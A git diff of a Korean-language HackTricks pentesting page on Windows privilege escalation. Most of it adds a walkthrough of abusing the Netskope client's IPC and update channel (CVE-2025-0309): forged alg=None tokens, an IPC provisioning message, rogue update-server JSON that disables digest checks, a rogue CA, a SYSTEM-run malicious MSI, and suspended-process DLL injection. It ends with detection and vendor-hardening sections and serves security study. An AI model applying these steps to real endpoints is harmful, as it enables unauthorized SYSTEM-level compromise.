+[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 잘못된 구성 확인 (실행 파일이 GitHub에 있음). 권장하지 않음. Win10에서 잘 작동하지 않음.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- 가능한 잘못된 구성 확인 (python으로 만든 exe). 권장하지 않음. Win10에서 잘 작동하지 않음. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 이 게시물을 기반으로 만든 도구(액세스체크(accesschk)가 없어도 제대로 작동하지만 사용할 수 있음). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- 이 게시물을 기반으로 만든 도구 (accesschk 없이도 제대로 동작하지만 사용할 수 있음). **Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** 출력물을 읽고 작동 가능한 익스플로잇을 추천합니다 (로컬 python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** 출력물을 읽고 작동 가능한 익스플로잇을 추천합니다 (로컬 python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- **systeminfo** 출력값을 읽어 작동 가능한 익스플로잇을 추천 (로컬 python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- **systeminfo** 출력값을 읽어 작동 가능한 익스플로잇을 추천 (로컬 python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -프로젝트를 올바른 .NET 버전으로 컴파일해야 합니다 ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). 피해자 호스트에 설치된 .NET 버전을 확인하려면 다음을 실행할 수 있습니다: +프로젝트를 올바른 버전의 .NET으로 컴파일해야 합니다 ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). 피해자 호스트에 설치된 .NET 버전을 확인하려면 다음을 실행할 수 있습니다: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md new file mode 100644 index 000000000..27a163b53 --- /dev/null +++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md @@ -0,0 +1,121 @@ +# 엔터프라이즈 자동 업데이트 및 권한 있는 IPC 악용 (예: Netskope stAgentSvc) + +{{#include ../../banners/hacktricks-training.md}} + +이 페이지는 낮은 마찰의 IPC 인터페이스와 권한 있는 업데이트 흐름을 노출하는 엔터프라이즈 엔드포인트 에이전트 및 업데이트 프로그램에서 발견되는 Windows 로컬 권한 상승 체인의 한 범주를 일반화합니다. 대표적인 예는 Netskope Client for Windows < R129 (CVE-2025-0309)로, 낮은 권한의 사용자가 공격자 제어 서버로의 등록을 강제한 다음 SYSTEM 서비스가 설치하는 악성 MSI를 전달할 수 있습니다. + +재사용할 수 있는 핵심 아이디어: +- 권한 있는 서비스의 localhost IPC를 악용해 공격자 서버로의 재등록 또는 재구성을 강제합니다. +- 벤더의 업데이트 엔드포인트를 구현하고, 악성 Trusted Root CA를 배포한 뒤 업데이터를 악성으로 “서명된” 패키지로 가리킵니다. +- 약한 signer 검사(CN allow‑lists), 선택적 digest 플래그 및 느슨한 MSI 속성을 회피합니다. +- IPC가 “encrypted”되어 있다면 레지스트리에 저장된 모두가 읽을 수 있는 머신 식별자에서 key/IV를 유도합니다. +- 서비스가 image path/process name으로 호출자를 제한하면 allow‑listed 프로세스에 인젝션하거나 프로세스를 suspended 상태로 생성한 뒤 최소한의 thread‑context 패치로 DLL을 부트스트랩합니다. + +--- +## 1) localhost IPC를 통한 공격자 서버로의 등록 강제화 + +많은 에이전트는 JSON을 사용해 localhost TCP를 통해 SYSTEM 서비스와 통신하는 user‑mode UI 프로세스를 제공합니다. + +Netskope에서 관찰됨: +- UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM) +- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN + +공격 흐름: +1) 백엔드 호스트를 제어하는 클레임(예: AddonUrl)을 포함하는 JWT 등록 토큰을 생성합니다. 서명이 필요 없도록 alg=None을 사용합니다. +2) JWT와 테넌트 이름을 포함해 provisioning 명령을 호출하는 IPC 메시지를 보냅니다: +```json +{ +"148": { +"idpTokenValue": "", +"tenantName": "TestOrg" +} +} +``` +3) 서비스가 등록/구성을 위해 공격자 서버로 요청을 보내기 시작합니다. 예: +- /v1/externalhost?service=enrollment +- /config/user/getbrandingbyemail + +Notes: +- 호출자 검증이 path/name‑based인 경우, 요청을 allow‑listed vendor binary에서 시작하세요 (see §4). + +--- +## 2) 업데이트 채널을 탈취하여 SYSTEM 권한으로 코드 실행 + +클라이언트가 서버와 통신하면, 예상되는 엔드포인트를 구현하고 클라이언트를 공격자 MSI로 유도합니다. 일반적인 순서: + +1) /v2/config/org/clientconfig → 매우 짧은 업데이트 간격을 가진 JSON config 반환, 예: +```json +{ +"clientUpdate": { "updateIntervalInMin": 1 }, +"check_msi_digest": false +} +``` +2) /config/ca/cert → PEM CA certificate를 반환합니다. 서비스는 이를 Local Machine Trusted Root store에 설치합니다. +3) /v2/checkupdate → 악성 MSI와 가짜 버전을 가리키는 메타데이터를 제공합니다. + +Bypassing common checks seen in the wild: +- Signer CN allow‑list: 서비스는 Subject CN이 “netSkope Inc” 또는 “Netskope, Inc.”인지 여부만 확인할 수 있습니다. 당신의 rogue CA는 해당 CN으로 leaf를 발급해 MSI에 서명할 수 있습니다. +- CERT_DIGEST property: CERT_DIGEST라는 이름의 무해한 MSI 속성을 포함하세요. 설치 시 강제 검증이 없습니다. +- Optional digest enforcement: config 플래그(예: check_msi_digest=false)가 추가 암호화 검증을 비활성화합니다. + +Result: SYSTEM 서비스가 C:\ProgramData\Netskope\stAgent\data\*.msi에서 당신의 MSI를 설치하여 NT AUTHORITY\SYSTEM으로 임의 코드를 실행합니다. + +--- +## 3) Forging encrypted IPC requests (when present) + +From R127, Netskope는 IPC JSON을 Base64처럼 보이는 encryptData 필드로 래핑했습니다. 리버싱 결과 AES가 사용되며 key/IV는 모든 사용자가 읽을 수 있는 레지스트리 값에서 유도된 것으로 나타났습니다: +- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew +- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID + +공격자는 암호화 과정을 재현하여 일반 사용자 권한으로도 유효한 암호화된 명령을 전송할 수 있습니다. 일반적인 팁: 에이전트가 갑자기 IPC를 “암호화”하기 시작하면, HKLM 아래의 device ID, product GUID, install ID 같은 항목을 찾아보세요. + +--- +## 4) Bypassing IPC caller allow‑lists (path/name checks) + +일부 서비스는 TCP 연결의 PID를 해결하고 이미지 경로/이름을 Program Files 하위의 허용된 벤더 바이너리(예: stagentui.exe, bwansvc.exe, epdlp.exe)와 비교하여 피어를 인증하려고 합니다. + +두 가지 실용적 우회 방법: +- DLL injection into an allow‑listed process (예: nsdiag.exe) 후 그 내부에서 IPC를 프록시합니다. +- 허용된 바이너리를 suspended 상태로 실행한 뒤 CreateRemoteThread 없이 proxy DLL을 부트스트랩(§5 참조)하여 드라이버가 강제하는 조작 방지 규칙을 만족시킵니다. + +--- +## 5) Tamper‑protection friendly injection: suspended process + NtContinue patch + +제품들은 종종 minifilter/OB callbacks driver(예: Stadrv)를 함께 배포하여 보호된 프로세스에 대한 핸들 권한을 제거합니다: +- Process: PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME를 제거 +- Thread: THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE로 제한 + +이 제약을 준수하는 신뢰할 수 있는 user‑mode 로더 절차: +1) CreateProcess로 벤더 바이너리를 CREATE_SUSPENDED 상태로 생성합니다. +2) 여전히 얻을 수 있는 핸들을 획득합니다: 프로세스에 대해 PROCESS_VM_WRITE | PROCESS_VM_OPERATION, 스레드에 대해 THREAD_GET_CONTEXT/THREAD_SET_CONTEXT(또는 알려진 RIP에서 코드를 패치할 경우 THREAD_RESUME만) 등. +3) ntdll!NtContinue(또는 초기 로드가 보장되는 다른 thunk)를 LoadLibraryW로 당신의 DLL 경로를 호출하고 돌아오도록 하는 작은 스텁으로 덮어씁니다. +4) ResumeThread로 스텁을 트리거하여 프로세스 내부에서 DLL을 로드합니다. + +이미 보호된 프로세스에 대해 PROCESS_CREATE_THREAD나 PROCESS_SUSPEND_RESUME을 사용하지 않았기 때문에(당신이 만든 프로세스입니다) 드라이버 정책을 만족합니다. + +--- +## 6) Practical tooling +- NachoVPN (Netskope plugin)은 rogue CA, 악성 MSI 서명 자동화 및 필요한 엔드포인트(/v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate)를 제공합니다. +- UpSkope는 임의의(선택적으로 AES‑암호화된) IPC 메시지를 제작할 수 있는 커스텀 IPC 클라이언트이며, 허용된 바이너리에서 시작되도록 suspended‑process 인젝션을 포함합니다. + +--- +## 7) Detection opportunities (blue team) +- Local Machine Trusted Root에 추가되는 항목을 모니터링하세요. Sysmon + registry‑mod 이벤트(참조: SpecterOps 가이드)가 잘 작동합니다. +- 에이전트 서비스가 C:\ProgramData\\\data\*.msi 같은 경로에서 시작한 MSI 실행을 플래그합니다. +- 에이전트 로그를 검토하여 예상치 못한 enrollment 호스트/테넌트(예: C:\ProgramData\netskope\stagent\logs\nsdebuglog.log) — addonUrl / tenant 이상 및 provisioning msg 148을 확인하세요. +- 예상된 서명된 바이너리가 아니거나 비정상적인 자식 프로세스 트리에서 시작된 localhost IPC 클라이언트에 대해 경보를 설정하세요. + +--- +## Hardening tips for vendors +- enrollment/update 호스트를 엄격한 allow‑list에 바인드하고 clientcode에서 신뢰되지 않은 도메인을 거부하세요. +- 이미지 경로/이름 확인 대신 OS 프리미티브(ALPC security, named‑pipe SIDs)로 IPC 피어를 인증하세요. +- 비밀 자재를 world‑readable한 HKLM에 두지 마세요; IPC를 암호화해야 한다면 보호된 비밀에서 키를 유도하거나 인증된 채널에서 협상하세요. +- updater를 공급망 표면으로 간주하세요: 신뢰하는 CA로 완전한 체인을 요구하고, 패키지 서명을 pinned 키에 대해 검증하며, config에서 검증이 비활성화되어 있으면 fail closed 하세요. + +## References +- [Advisory – Netskope Client for Windows – Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/) +- [NachoVPN – Netskope plugin](https://github.com/AmberWolfCyber/NachoVPN) +- [UpSkope – Netskope IPC client/exploit](https://github.com/AmberWolfCyber/UpSkope) +- [NVD – CVE-2025-0309](https://nvd.nist.gov/vuln/detail/CVE-2025-0309) + +{{#include ../../banners/hacktricks-training.md}}